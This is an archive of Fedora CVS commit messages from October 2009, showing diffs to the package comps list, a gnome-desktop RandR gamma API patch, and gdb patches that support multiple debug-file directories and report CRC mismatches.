       <packagereq type="optional">picard</packagereq>
@@ -4941,6 +4943,7 @@
       <packagereq type="optional">vdr-tvonscreen</packagereq>
       <packagereq type="optional">vdr-wapd</packagereq>
       <packagereq type="optional">vdradmin-am</packagereq>
+      <packagereq type="optional">whaawmp</packagereq>
       <packagereq type="optional">wmix</packagereq>
       <packagereq type="optional">xcdroast</packagereq>
       <packagereq type="optional">xfburn</packagereq>
@@ -5891,10 +5894,12 @@
       <packagereq type="default">xfce4-session-engines</packagereq>
       <packagereq type="default">xfwm4-theme-nodoka</packagereq>
       <packagereq type="optional">orage</packagereq>
+      <packagereq type="optional">parole</packagereq>
       <packagereq type="optional">ristretto</packagereq>
       <packagereq type="optional">Terminal</packagereq>
       <packagereq type="optional">thunar-media-tags-plugin</packagereq>
       <packagereq type="optional">thunar-shares-plugin</packagereq>
+      <packagereq type="optional">thunar-vcs-plugin</packagereq>
       <packagereq type="optional">xfbib</packagereq>
       <packagereq type="optional">xfburn</packagereq>
       <packagereq type="optional">xfce4-battery-plugin</packagereq>
@@ -5923,6 +5928,7 @@
       <packagereq type="optional">xfce4-screenshooter-plugin</packagereq>
       <packagereq type="optional">xfce4-sensors-plugin</packagereq>
       <packagereq type="optional">xfce4-smartbookmark-plugin</packagereq>
+      <packagereq type="optional">xfce4-stopwatch-plugin</packagereq>
       <packagereq type="optional">xfce4-systemload-plugin</packagereq>
       <packagereq type="optional">xfce4-taskmanager</packagereq>
       <packagereq type="optional">xfce4-time-out-plugin</packagereq>


Index: comps-f12.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f12.xml.in,v
retrieving revision 1.169
retrieving revision 1.170
diff -u -p -r1.169 -r1.170
--- comps-f12.xml.in	22 Oct 2009 16:05:31 -0000	1.169
+++ comps-f12.xml.in	22 Oct 2009 23:21:13 -0000	1.170
@@ -2606,6 +2606,7 @@
       <packagereq type="optional">gonvert</packagereq>
       <packagereq type="optional">grsync</packagereq>
       <packagereq type="optional">gst-mixer</packagereq>
+      <packagereq type="optional">gtrayicon</packagereq>
       <packagereq type="optional">gtweakui</packagereq>
       <packagereq type="optional">gvfs-obexftp</packagereq>
       <packagereq type="optional">hamster-applet</packagereq>
@@ -5172,6 +5173,7 @@
       <packagereq type="optional">padevchooser</packagereq>
       <packagereq type="optional">paman</packagereq>
       <packagereq type="optional">paprefs</packagereq>
+      <packagereq type="optional">parole</packagereq>
       <packagereq type="optional">pavucontrol</packagereq>
       <packagereq type="optional">pavumeter</packagereq>
       <packagereq type="optional">picard</packagereq>
@@ -5210,6 +5212,7 @@
       <packagereq type="optional">vdr-tvonscreen</packagereq>
       <packagereq type="optional">vdr-wapd</packagereq>
       <packagereq type="optional">vdradmin-am</packagereq>
+      <packagereq type="optional">whaawmp</packagereq>
       <packagereq type="optional">wmix</packagereq>
       <packagereq type="optional">xcdroast</packagereq>
       <packagereq type="optional">xfburn</packagereq>
@@ -6178,10 +6181,12 @@
       <packagereq type="default">xfce4-session-engines</packagereq>
       <packagereq type="default">xfwm4-theme-nodoka</packagereq>
       <packagereq type="optional">orage</packagereq>
+      <packagereq type="optional">parole</packagereq>
       <packagereq type="optional">ristretto</packagereq>
       <packagereq type="optional">Terminal</packagereq>
       <packagereq type="optional">thunar-media-tags-plugin</packagereq>
       <packagereq type="optional">thunar-shares-plugin</packagereq>
+      <packagereq type="optional">thunar-vcs-plugin</packagereq>
       <packagereq type="optional">xfbib</packagereq>
       <packagereq type="optional">xfburn</packagereq>
       <packagereq type="optional">xfce4-battery-plugin</packagereq>
@@ -6210,6 +6215,7 @@
       <packagereq type="optional">xfce4-screenshooter-plugin</packagereq>
       <packagereq type="optional">xfce4-sensors-plugin</packagereq>
       <packagereq type="optional">xfce4-smartbookmark-plugin</packagereq>
+      <packagereq type="optional">xfce4-stopwatch-plugin</packagereq>
       <packagereq type="optional">xfce4-systemload-plugin</packagereq>
       <packagereq type="optional">xfce4-taskmanager</packagereq>
       <packagereq type="optional">xfce4-time-out-plugin</packagereq>



From mclasen at fedoraproject.org  Thu Oct 22 23:43:27 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Thu, 22 Oct 2009 23:43:27 +0000 (UTC)
Subject: rpms/gnome-desktop/F-12 randr-gamma.patch, NONE,
	1.1 gnome-desktop.spec, 1.227, 1.228
Message-ID: <20091022234327.37D5511C008C@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/gnome-desktop/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16729

Modified Files:
	gnome-desktop.spec 
Added Files:
	randr-gamma.patch 
Log Message:
add gamma api for gnome-screensaver


randr-gamma.patch:
 gnome-rr.c            |   75 ++++++++++++++++++++++++++++++++++++++++++++++++++
 libgnomeui/gnome-rr.h |   11 ++++++-
 2 files changed, 85 insertions(+), 1 deletion(-)

--- NEW FILE randr-gamma.patch ---
>From 8c052c789b585f434da1e6b92b3f452412074361 Mon Sep 17 00:00:00 2001
From: Dave Airlie <airlied at redhat.com>
Date: Thu, 8 Oct 2009 16:09:50 +1000
Subject: [PATCH] rrcrtc: add initial gamma interfaces (v3)

These are used by gnome-screensaver to do the fade in/out.

Reviewed by ssp: removed unneeded crtc interfaces,
made get gamma to the allocs, for caller to free

New interfaces:
Add gamma get/set functions per crtc.

v3: coding style cleanups from ssp
---
 libgnome-desktop/gnome-rr.c            |   75 ++++++++++++++++++++++++++++++++
 libgnome-desktop/libgnomeui/gnome-rr.h |   10 ++++
 2 files changed, 85 insertions(+), 0 deletions(-)

diff --git a/libgnome-desktop/gnome-rr.c b/libgnome-desktop/gnome-rr.c
index a64f8ae..9a93573 100644
--- a/libgnome-desktop/gnome-rr.c
+++ b/libgnome-desktop/gnome-rr.c
@@ -74,6 +74,7 @@ struct GnomeRRCrtc
     
     GnomeRRRotation	current_rotation;
     GnomeRRRotation	rotations;
+    int			gamma_size;
 };
 
 struct GnomeRRMode
@@ -1447,6 +1448,9 @@ crtc_initialize (GnomeRRCrtc        *crtc,
     
     XRRFreeCrtcInfo (info);
 
+    /* get an store gamma size */
+    crtc->gamma_size = XRRGetCrtcGammaSize (DISPLAY (crtc), crtc->id);
+
     return TRUE;
 }
 
@@ -1516,3 +1520,74 @@ mode_free (GnomeRRMode *mode)
     g_free (mode->name);
     g_free (mode);
 }
+
+void
+gnome_rr_crtc_set_gamma (GnomeRRCrtc *crtc, int size,
+			 unsigned short *red,
+			 unsigned short *green,
+			 unsigned short *blue)
+{
+    int copy_size;
+    XRRCrtcGamma *gamma;
+
+    g_return_if_fail (crtc != NULL);
+    g_return_if_fail (red != NULL);
+    g_return_if_fail (green != NULL);
+    g_return_if_fail (blue != NULL);
+
+    if (size != crtc->gamma_size)
+	return;
+
+    gamma = XRRAllocGamma (crtc->gamma_size);
+
+    copy_size = crtc->gamma_size * sizeof (unsigned short);
+    memcpy (gamma->red, red, copy_size);
+    memcpy (gamma->green, green, copy_size);
+    memcpy (gamma->blue, blue, copy_size);
+
+    XRRSetCrtcGamma (DISPLAY (crtc), crtc->id, gamma);
+    XRRFreeGamma (gamma);
+}
+
+gboolean
+gnome_rr_crtc_get_gamma (GnomeRRCrtc *crtc, int *size,
+			 unsigned short **red, unsigned short **green,
+			 unsigned short **blue)
+{
+    int copy_size;
+    unsigned short *r, *g, *b;
+    XRRCrtcGamma *gamma;
+
+    g_return_val_if_fail (crtc != NULL, FALSE);
+
+    gamma = XRRGetCrtcGamma (DISPLAY (crtc), crtc->id);
+    if (!gamma)
+	return FALSE;
+
+    copy_size = crtc->gamma_size * sizeof (unsigned short);
+
+    if (red) {
+	r = g_new0 (unsigned short, crtc->gamma_size);
+	memcpy (r, gamma->red, copy_size);
+	*red = r;
+    }
+
+    if (green) {
+	g = g_new0 (unsigned short, crtc->gamma_size);
+	memcpy (g, gamma->green, copy_size);
+	*green = g;
+    }
+
+    if (blue) {
+	b = g_new0 (unsigned short, crtc->gamma_size);
+	memcpy (b, gamma->blue, copy_size);
+	*blue = b;
+    }
+
+    XRRFreeGamma (gamma);
+
+    if (size)
+	*size = crtc->gamma_size;
+    return TRUE;
+}
+
diff --git a/libgnome-desktop/libgnomeui/gnome-rr.h b/libgnome-desktop/libgnomeui/gnome-rr.h
index 6eae3d0..e149336 100644
--- a/libgnome-desktop/libgnomeui/gnome-rr.h
+++ b/libgnome-desktop/libgnomeui/gnome-rr.h
@@ -160,4 +160,14 @@ GnomeRRRotation gnome_rr_crtc_get_rotations        (GnomeRRCrtc           *crtc)
 gboolean        gnome_rr_crtc_supports_rotation    (GnomeRRCrtc           *crtc,
 						    GnomeRRRotation        rotation);
 
+gboolean        gnome_rr_crtc_get_gamma            (GnomeRRCrtc           *crtc,
+						    int *size,
+						    unsigned short **red,
+						    unsigned short **green,
+						    unsigned short **blue);
+void            gnome_rr_crtc_set_gamma            (GnomeRRCrtc           *crtc,
+						    int size,
+						    unsigned short *red,
+						    unsigned short *green,
+						    unsigned short *blue);
 #endif
-- 
1.6.5.rc2



Index: gnome-desktop.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-desktop/F-12/gnome-desktop.spec,v
retrieving revision 1.227
retrieving revision 1.228
diff -u -p -r1.227 -r1.228
--- gnome-desktop.spec	22 Oct 2009 14:31:16 -0000	1.227
+++ gnome-desktop.spec	22 Oct 2009 23:43:25 -0000	1.228
@@ -12,10 +12,12 @@
 Summary: Shared code among gnome-panel, gnome-session, nautilus, etc
 Name: gnome-desktop
 Version: 2.28.1
-Release: 1%{?dist}
+Release: 2%{?dist}
 URL: http://www.gnome.org
 Source0: http://download.gnome.org/sources/gnome-desktop/2.28/%{name}-%{version}.tar.bz2
 Patch1: concatenate-edid-descriptors.patch
+# https://bugzilla.gnome.org/show_bug.cgi?id=597874
+Patch2: randr-gamma.patch
 
 License: GPLv2+ and LGPLv2+
 Group: System Environment/Libraries
@@ -75,6 +77,7 @@ libgnomedesktop.
 %prep
 %setup -q
 %patch1 -p1 -b .concatenate-edid-descriptors
+%patch2 -p1 -b .randr-gamma
 
 %build
 %configure --with-gnome-distributor="Red Hat, Inc" \
@@ -122,6 +125,9 @@ rm -rf $RPM_BUILD_ROOT
 %doc %{_datadir}/gtk-doc/html/gnome-desktop/
 
 %changelog
+* Thu Oct 22 2009 Matthias Clasen <mclasen at redhat.com> - 2.28.1-2
+- Support proper gamma setting in multihead setups
+
 * Thu Oct 22 2009 Matthias Clasen <mclasen at redhat.com> - 2.28.1-1
 - Update to 2.28.1, translation updates
 



From jkratoch at fedoraproject.org  Thu Oct 22 23:52:27 2009
From: jkratoch at fedoraproject.org (Jan Kratochvil)
Date: Thu, 22 Oct 2009 23:52:27 +0000 (UTC)
Subject: rpms/gdb/F-12 gdb-bz528668-symfile-cleanup.patch, NONE,
	1.1 gdb-bz528668-symfile-multi.patch, NONE,
	1.1 gdb-bz528668-symfile-sepcrc.patch, NONE,
	1.1 gdb-6.6-buildid-locate.patch, 1.27, 1.28 gdb.spec, 1.393, 1.394
Message-ID: <20091022235227.BB29011C008C@cvs1.fedora.phx.redhat.com>

Author: jkratoch

Update of /cvs/pkgs/rpms/gdb/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20278

Modified Files:
	gdb-6.6-buildid-locate.patch gdb.spec 
Added Files:
	gdb-bz528668-symfile-cleanup.patch 
	gdb-bz528668-symfile-multi.patch 
	gdb-bz528668-symfile-sepcrc.patch 
Log Message:
* Thu Oct 22 2009 Jan Kratochvil <jan.kratochvil at redhat.com> - 7.0-3
- Support multiple directories for `set debug-file-directory' (BZ 528668).


gdb-bz528668-symfile-cleanup.patch:
 symfile.c |   59 ++++++++++++++++++++---------------------------------------
 1 file changed, 20 insertions(+), 39 deletions(-)

--- NEW FILE gdb-bz528668-symfile-cleanup.patch ---
http://sourceware.org/ml/gdb-patches/2009-10/msg00509.html
Subject: [patch 2/3] find_separate_debug_file cleanup

Hi,

current code was:
* difficult to maintain as a new variable required xfree on many places
* was causing memory corruptions due to silently misapplied 3rd party patches
  as the close code fragments unfortunately match patch context


Thanks,
Jan


gdb/
2009-10-21  Jan Kratochvil  <jan.kratochvil at redhat.com>

	* symfile.c (find_separate_debug_file): Initialize dir, debugfile and
	canon_name to NULL.  Change alloca to xmalloc, newly call xfree for it.
	New label cleanup_return_debugfile, jump to it from the failure paths.

--- a/gdb/symfile.c
+++ b/gdb/symfile.c
@@ -1333,11 +1333,10 @@ static char *
 find_separate_debug_file (struct objfile *objfile)
 {
   asection *sect;
-  char *basename;
-  char *dir;
-  char *debugfile;
-  char *name_copy;
-  char *canon_name;
+  char *basename, *name_copy;
+  char *dir = NULL;
+  char *debugfile = NULL;
+  char *canon_name = NULL;
   bfd_size_type debuglink_size;
   unsigned long crc32;
   int i;
@@ -1366,7 +1365,7 @@ find_separate_debug_file (struct objfile *objfile)
   if (basename == NULL)
     /* There's no separate debug info, hence there's no way we could
        load it => no warning.  */
-    return NULL;
+    goto cleanup_return_debugfile;
 
   dir = xstrdup (objfile->name);
 
@@ -1388,24 +1387,19 @@ find_separate_debug_file (struct objfile *objfile)
   if (canon_name && strlen (canon_name) > i)
     i = strlen (canon_name);
 
-  debugfile = alloca (strlen (debug_file_directory) + 1
-                      + i
-                      + strlen (DEBUG_SUBDIRECTORY)
-                      + strlen ("/")
-                      + strlen (basename)
-                      + 1);
+  debugfile = xmalloc (strlen (debug_file_directory) + 1
+		       + i
+		       + strlen (DEBUG_SUBDIRECTORY)
+		       + strlen ("/")
+		       + strlen (basename)
+		       + 1);
 
   /* First try in the same directory as the original file.  */
   strcpy (debugfile, dir);
   strcat (debugfile, basename);
 
   if (separate_debug_file_exists (debugfile, crc32, objfile->name))
-    {
-      xfree (basename);
-      xfree (dir);
-      xfree (canon_name);
-      return xstrdup (debugfile);
-    }
+    goto cleanup_return_debugfile;
 
   /* Then try in the subdirectory named DEBUG_SUBDIRECTORY.  */
   strcpy (debugfile, dir);
@@ -1414,12 +1408,7 @@ find_separate_debug_file (struct objfile *objfile)
   strcat (debugfile, basename);
 
   if (separate_debug_file_exists (debugfile, crc32, objfile->name))
-    {
-      xfree (basename);
-      xfree (dir);
-      xfree (canon_name);
-      return xstrdup (debugfile);
-    }
+    goto cleanup_return_debugfile;
 
   /* Then try in the global debugfile directory.  */
   strcpy (debugfile, debug_file_directory);
@@ -1428,12 +1417,7 @@ find_separate_debug_file (struct objfile *objfile)
   strcat (debugfile, basename);
 
   if (separate_debug_file_exists (debugfile, crc32, objfile->name))
-    {
-      xfree (basename);
-      xfree (dir);
-      xfree (canon_name);
-      return xstrdup (debugfile);
-    }
+    goto cleanup_return_debugfile;
 
   /* If the file is in the sysroot, try using its base path in the
      global debugfile directory.  */
@@ -1447,20 +1431,17 @@ find_separate_debug_file (struct objfile *objfile)
       strcat (debugfile, basename);
 
       if (separate_debug_file_exists (debugfile, crc32, objfile->name))
-	{
-	  xfree (canon_name);
-	  xfree (basename);
-	  xfree (dir);
-	  return xstrdup (debugfile);
-	}
+	goto cleanup_return_debugfile;
     }
   
-  if (canon_name)
-    xfree (canon_name);
+  xfree (debugfile);
+  debugfile = NULL;
 
+cleanup_return_debugfile:
+  xfree (canon_name);
   xfree (basename);
   xfree (dir);
-  return NULL;
+  return debugfile;
 }
 
 


gdb-bz528668-symfile-multi.patch:
 doc/gdb.texinfo                 |   13 ++-
 symfile.c                       |  134 ++++++++++++++++++++++++++--------------
 testsuite/gdb.base/sepdebug.exp |    6 +
 3 files changed, 103 insertions(+), 50 deletions(-)

--- NEW FILE gdb-bz528668-symfile-multi.patch ---
http://sourceware.org/ml/gdb-patches/2009-10/msg00508.html
Subject: [patch 3/3] debug-file-directory with multiple components

Hi,

for various reasons `debug-file-directory' would be sometimes useful to have
multiple components such as `solib-search-path' has.

I found it useful myself during various separate debuginfo tests/scripts.

It was requested for the ABRT bugreporting project at the preceding mail of:
	https://fedorahosted.org/pipermail/crash-catcher/2009-October/000054.html

It should be a backward compatible extension as DIRNAME_SEPARATOR should never
be a valid part of a single DEBUG_FILE_DIRECTORY component.


Thanks,
Jan


gdb/doc/
2009-10-22  Jan Kratochvil  <jan.kratochvil at redhat.com>

	* gdb.texinfo (set debug-file-directory, show debug-file-directory)
	(Auto-loading): Use plural and note one can use multiple components now.

gdb/
2009-10-22  Jan Kratochvil  <jan.kratochvil at redhat.com>

	* symfile.c (build_id_to_debug_filename): New variable debugdir.  Move
	variables size, s and data into a new inner block.  Change xmalloc for
	alloca, use direct BUILDID->SIZE there now.  Loop for the
	DEBUG_FILE_DIRECTORY components.
	(find_separate_debug_file): New variable debugdir and debugdir_end.
	Loop for the DEBUG_FILE_DIRECTORY components.
	(_initialize_symfile): For "debug-file-directory" use plural and note
	one can use multiple components now.

gdb/testsuite/
2009-10-22  Jan Kratochvil  <jan.kratochvil at redhat.com>

	* gdb.base/sepdebug.exp: New test_different_dir call for multiple-dirs.

--- a/gdb/doc/gdb.texinfo
+++ b/gdb/doc/gdb.texinfo
@@ -14066,13 +14066,14 @@ name @value{GDBN} is currently using.
 @table @code
 
 @kindex set debug-file-directory
- at item set debug-file-directory @var{directory}
-Set the directory which @value{GDBN} searches for separate debugging
-information files to @var{directory}.
+ at item set debug-file-directory @var{directories}
+Set the directories which @value{GDBN} searches for separate debugging
+information files to @var{directory}.  Multiple directory components can be set
+concatenating them by a directory separator.
 
 @kindex show debug-file-directory
 @item show debug-file-directory
-Show the directory @value{GDBN} searches for separate debugging
+Show the directories @value{GDBN} searches for separate debugging
 information files.
 
 @end table
@@ -19336,8 +19337,8 @@ readable, @value{GDBN} will evaluate it as a Python script.
 
 If this file does not exist, and if the parameter
 @code{debug-file-directory} is set (@pxref{Separate Debug Files}),
-then @value{GDBN} will use the file named
- at file{@var{debug-file-directory}/@var{real-name}}, where
+then @value{GDBN} will use for its each separated directory component
+ at code{component} the file named @file{@code{component}/@var{real-name}}, where
 @var{real-name} is the object file's real name, as described above.
 
 Finally, if this file does not exist, then @value{GDBN} will look for
--- a/gdb/symfile.c
+++ b/gdb/symfile.c
@@ -1218,35 +1218,59 @@ build_id_verify (const char *filename, struct build_id *check)
 static char *
 build_id_to_debug_filename (struct build_id *build_id)
 {
-  char *link, *s, *retval = NULL;
-  gdb_byte *data = build_id->data;
-  size_t size = build_id->size;
+  char *link, *debugdir, *retval = NULL;
 
   /* DEBUG_FILE_DIRECTORY/.build-id/ab/cdef */
-  link = xmalloc (strlen (debug_file_directory) + (sizeof "/.build-id/" - 1) + 1
-		  + 2 * size + (sizeof ".debug" - 1) + 1);
-  s = link + sprintf (link, "%s/.build-id/", debug_file_directory);
-  if (size > 0)
-    {
-      size--;
-      s += sprintf (s, "%02x", (unsigned) *data++);
-    }
-  if (size > 0)
-    *s++ = '/';
-  while (size-- > 0)
-    s += sprintf (s, "%02x", (unsigned) *data++);
-  strcpy (s, ".debug");
-
-  /* lrealpath() is expensive even for the usually non-existent files.  */
-  if (access (link, F_OK) == 0)
-    retval = lrealpath (link);
-  xfree (link);
-
-  if (retval != NULL && !build_id_verify (retval, build_id))
+  link = alloca (strlen (debug_file_directory) + (sizeof "/.build-id/" - 1) + 1
+		 + 2 * build_id->size + (sizeof ".debug" - 1) + 1);
+
+  /* Keep backward compatibility so that DEBUG_FILE_DIRECTORY being "" will
+     cause "/.build-id/..." lookups.  */
+
+  debugdir = debug_file_directory;
+  do
     {
-      xfree (retval);
-      retval = NULL;
+      char *s, *debugdir_end;
+      gdb_byte *data = build_id->data;
+      size_t size = build_id->size;
+
+      while (*debugdir == DIRNAME_SEPARATOR)
+	debugdir++;
+
+      debugdir_end = strchr (debugdir, DIRNAME_SEPARATOR);
+      if (debugdir_end == NULL)
+	debugdir_end = &debugdir[strlen (debugdir)];
+
+      memcpy (link, debugdir, debugdir_end - debugdir);
+      s = &link[debugdir_end - debugdir];
+      s += sprintf (s, "/.build-id/");
+      if (size > 0)
+	{
+	  size--;
+	  s += sprintf (s, "%02x", (unsigned) *data++);
+	}
+      if (size > 0)
+	*s++ = '/';
+      while (size-- > 0)
+	s += sprintf (s, "%02x", (unsigned) *data++);
+      strcpy (s, ".debug");
+
+      /* lrealpath() is expensive even for the usually non-existent files.  */
+      if (access (link, F_OK) == 0)
+	retval = lrealpath (link);
+
+      if (retval != NULL && !build_id_verify (retval, build_id))
+	{
+	  xfree (retval);
+	  retval = NULL;
+	}
+
+      if (retval != NULL)
+	break;
+
+      debugdir = debugdir_end;
     }
+  while (*debugdir != 0);
 
   return retval;
 }
@@ -1333,7 +1357,7 @@ static char *
 find_separate_debug_file (struct objfile *objfile)
 {
   asection *sect;
-  char *basename, *name_copy;
+  char *basename, *name_copy, *debugdir;
   char *dir = NULL;
   char *debugfile = NULL;
   char *canon_name = NULL;
@@ -1410,29 +1434,51 @@ find_separate_debug_file (struct objfile *objfile)
   if (separate_debug_file_exists (debugfile, crc32, objfile->name))
     goto cleanup_return_debugfile;
 
-  /* Then try in the global debugfile directory.  */
-  strcpy (debugfile, debug_file_directory);
-  strcat (debugfile, "/");
-  strcat (debugfile, dir);
-  strcat (debugfile, basename);
-
-  if (separate_debug_file_exists (debugfile, crc32, objfile->name))
-    goto cleanup_return_debugfile;
+  /* Then try in the global debugfile directories.
+ 
+     Keep backward compatibility so that DEBUG_FILE_DIRECTORY being "" will
+     cause "/..." lookups.  */
 
-  /* If the file is in the sysroot, try using its base path in the
-     global debugfile directory.  */
-  if (canon_name
-      && strncmp (canon_name, gdb_sysroot, strlen (gdb_sysroot)) == 0
-      && IS_DIR_SEPARATOR (canon_name[strlen (gdb_sysroot)]))
+  debugdir = debug_file_directory;
+  do
     {
-      strcpy (debugfile, debug_file_directory);
-      strcat (debugfile, canon_name + strlen (gdb_sysroot));
+      char *debugdir_end;
+
+      while (*debugdir == DIRNAME_SEPARATOR)
+	debugdir++;
+
+      debugdir_end = strchr (debugdir, DIRNAME_SEPARATOR);
+      if (debugdir_end == NULL)
+	debugdir_end = &debugdir[strlen (debugdir)];
+
+      memcpy (debugfile, debugdir, debugdir_end - debugdir);
+      debugfile[debugdir_end - debugdir] = 0;
       strcat (debugfile, "/");
+      strcat (debugfile, dir);
       strcat (debugfile, basename);
 
       if (separate_debug_file_exists (debugfile, crc32, objfile->name))
 	goto cleanup_return_debugfile;
+
+      /* If the file is in the sysroot, try using its base path in the
+	 global debugfile directory.  */
+      if (canon_name
+	  && strncmp (canon_name, gdb_sysroot, strlen (gdb_sysroot)) == 0
+	  && IS_DIR_SEPARATOR (canon_name[strlen (gdb_sysroot)]))
+	{
+	  memcpy (debugfile, debugdir, debugdir_end - debugdir);
+	  debugfile[debugdir_end - debugdir] = 0;
+	  strcat (debugfile, canon_name + strlen (gdb_sysroot));
+	  strcat (debugfile, "/");
+	  strcat (debugfile, basename);
+
+	  if (separate_debug_file_exists (debugfile, crc32, objfile->name))
+	    goto cleanup_return_debugfile;
+	}
+
+      debugdir = debugdir_end;
     }
+  while (*debugdir != 0);
   
   xfree (debugfile);
   debugfile = NULL;
@@ -4173,12 +4219,12 @@ Usage: set extension-language .foo bar"),
 
   add_setshow_optional_filename_cmd ("debug-file-directory", class_support,
 				     &debug_file_directory, _("\
-Set the directory where separate debug symbols are searched for."), _("\
-Show the directory where separate debug symbols are searched for."), _("\
+Set the directories where separate debug symbols are searched for."), _("\
+Show the directories where separate debug symbols are searched for."), _("\
 Separate debug symbols are first searched for in the same\n\
 directory as the binary, then in the `" DEBUG_SUBDIRECTORY "' subdirectory,\n\
 and lastly at the path of the directory of the binary with\n\
-the global debug-file directory prepended."),
+each global debug-file-directory component prepended."),
 				     NULL,
 				     show_debug_file_directory,
 				     &setlist, &showlist);
--- a/gdb/testsuite/gdb.base/sepdebug.exp
+++ b/gdb/testsuite/gdb.base/sepdebug.exp
@@ -995,6 +995,12 @@ if ![string compare $build_id_debug_filename ""] then {
 
     test_different_dir build-id "${objdir}/${subdir}" $xfail
 
+    # Test also multiple directories can be specified.  Without the build-id
+    # reference GDB would find the separate debug info just at the same
+    # location as the executable file.
+
+    test_different_dir multiple-dirs "/doesnotexist:${objdir}/${subdir}" $xfail
+
     # Spare debug files may confuse testsuite runs in the future.
     remote_exec build "rm -f ${objdir}/${subdir}/${build_id_debug_filename}"
 }


gdb-bz528668-symfile-sepcrc.patch:
 b/gdb/testsuite/gdb.base/sepdebug2.c |   22 ++++++++++++++++++++++
 gdb/symfile.c                        |   23 +++++++++++++++++------
 gdb/testsuite/gdb.base/sepdebug.exp  |   17 +++++++++++++++++
 3 files changed, 56 insertions(+), 6 deletions(-)

--- NEW FILE gdb-bz528668-symfile-sepcrc.patch ---
http://sourceware.org/ml/gdb-patches/2009-10/msg00507.html
Subject: [patch 1/3] print the .debug file name having CRC mismatch

Hi,

this patch is left as is from Andrew Cagney.


Thanks,
Jan


gdb/
2005-04-02  Andrew Cagney  <cagney at gnu.org>

	* symfile.c (separate_debug_file_exists): When the CRCs mismatch
	print a warning.
	(find_separate_debug_file): Pass in the objfile's name.

gdb/testsuite/
2009-10-21  Jan Kratochvil  <jan.kratochvil at redhat.com>

	* gdb.base/sepdebug.exp (CRC mismatch is reported): New test.
	* gdb.base/sepdebug2.c: New file.

--- a/gdb/symfile.c
+++ b/gdb/symfile.c
@@ -1283,7 +1283,8 @@ get_debug_link_info (struct objfile *objfile, unsigned long *crc32_out)
 }
 
 static int
-separate_debug_file_exists (const char *name, unsigned long crc)
+separate_debug_file_exists (const char *name, unsigned long crc,
+			    const char *parent_name)
 {
   unsigned long file_crc = 0;
   bfd *abfd;
@@ -1303,7 +1304,15 @@ separate_debug_file_exists (const char *name, unsigned long crc)
 
   bfd_close (abfd);
 
-  return crc == file_crc;
+  if (crc != file_crc)
+    {
+      warning (_("the debug information found in \"%s\""
+		 " does not match \"%s\" (CRC mismatch).\n"),
+	       name, parent_name);
+      return 0;
+    }
+
+  return 1;
 }
 
 char *debug_file_directory = NULL;
@@ -1355,6 +1364,8 @@ find_separate_debug_file (struct objfile *objfile)
   basename = get_debug_link_info (objfile, &crc32);
 
   if (basename == NULL)
+    /* There's no separate debug info, hence there's no way we could
+       load it => no warning.  */
     return NULL;
 
   dir = xstrdup (objfile->name);
@@ -1388,7 +1399,7 @@ find_separate_debug_file (struct objfile *objfile)
   strcpy (debugfile, dir);
   strcat (debugfile, basename);
 
-  if (separate_debug_file_exists (debugfile, crc32))
+  if (separate_debug_file_exists (debugfile, crc32, objfile->name))
     {
       xfree (basename);
       xfree (dir);
@@ -1402,7 +1413,7 @@ find_separate_debug_file (struct objfile *objfile)
   strcat (debugfile, "/");
   strcat (debugfile, basename);
 
-  if (separate_debug_file_exists (debugfile, crc32))
+  if (separate_debug_file_exists (debugfile, crc32, objfile->name))
     {
       xfree (basename);
       xfree (dir);
@@ -1416,7 +1427,7 @@ find_separate_debug_file (struct objfile *objfile)
   strcat (debugfile, dir);
   strcat (debugfile, basename);
 
-  if (separate_debug_file_exists (debugfile, crc32))
+  if (separate_debug_file_exists (debugfile, crc32, objfile->name))
     {
       xfree (basename);
       xfree (dir);
@@ -1435,7 +1446,7 @@ find_separate_debug_file (struct objfile *objfile)
       strcat (debugfile, "/");
       strcat (debugfile, basename);
 
-      if (separate_debug_file_exists (debugfile, crc32))
+      if (separate_debug_file_exists (debugfile, crc32, objfile->name))
 	{
 	  xfree (canon_name);
 	  xfree (basename);
--- a/gdb/testsuite/gdb.base/sepdebug.exp
+++ b/gdb/testsuite/gdb.base/sepdebug.exp
@@ -952,6 +952,23 @@ set debugfile "${objdir}/${subdir}/${testfile}.debug"
 test_different_dir debuglink "${objdir}/${subdir}" 0
 
 
+# Test CRC mismatch is reported.
+
+if {[build_executable sepdebug.exp sepdebug2 sepdebug2.c debug] != -1
+    && ![gdb_gnu_strip_debug ${objdir}/${subdir}/sepdebug2]} {
+
+    remote_exec build "cp ${debugfile} ${objdir}/${subdir}/.debug/sepdebug2.debug"
+
+    gdb_exit
+    gdb_start
+    gdb_reinitialize_dir $srcdir/$subdir
+
+    set escapedobjdirsubdir [string_to_regexp ${objdir}/${subdir}]
+
+    gdb_test "file ${objdir}/${subdir}/sepdebug2" "warning: the debug information found in \"${escapedobjdirsubdir}/\\.debug/sepdebug2\\.debug\" does not match \"${escapedobjdirsubdir}/sepdebug2\" \\(CRC mismatch\\)\\..*\\(no debugging symbols found\\).*" "CRC mismatch is reported"
+}
+
+
 # NT_GNU_BUILD_ID / .note.gnu.build-id test:
 
 set build_id_debug_filename [build_id_debug_filename_get $binfile]
--- /dev/null
+++ b/gdb/testsuite/gdb.base/sepdebug2.c
@@ -0,0 +1,22 @@
+/* This testcase is part of GDB, the GNU debugger.
+
+   Copyright 2009 Free Software Foundation, Inc.
+
+   This program is free software; you can redistribute it and/or modify
+   it under the terms of the GNU General Public License as published by
+   the Free Software Foundation; either version 3 of the License, or
+   (at your option) any later version.
+
+   This program is distributed in the hope that it will be useful,
+   but WITHOUT ANY WARRANTY; without even the implied warranty of
+   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+   GNU General Public License for more details.
+
+   You should have received a copy of the GNU General Public License
+   along with this program.  If not, see <http://www.gnu.org/licenses/>.  */
+
+int
+main (void)
+{
+  return 0;
+}


gdb-6.6-buildid-locate.patch:
 corelow.c                    |   63 ++++
 doc/gdb.texinfo              |   21 +
 objfiles.h                   |    4 
 solib-svr4.c                 |   46 +++
 symfile.c                    |  609 ++++++++++++++++++++++++++++++++++++++++++-
 symfile.h                    |    7 
 testsuite/lib/gdb.exp        |   10 
 testsuite/lib/mi-support.exp |   10 
 8 files changed, 755 insertions(+), 15 deletions(-)

Index: gdb-6.6-buildid-locate.patch
===================================================================
RCS file: /cvs/pkgs/rpms/gdb/F-12/gdb-6.6-buildid-locate.patch,v
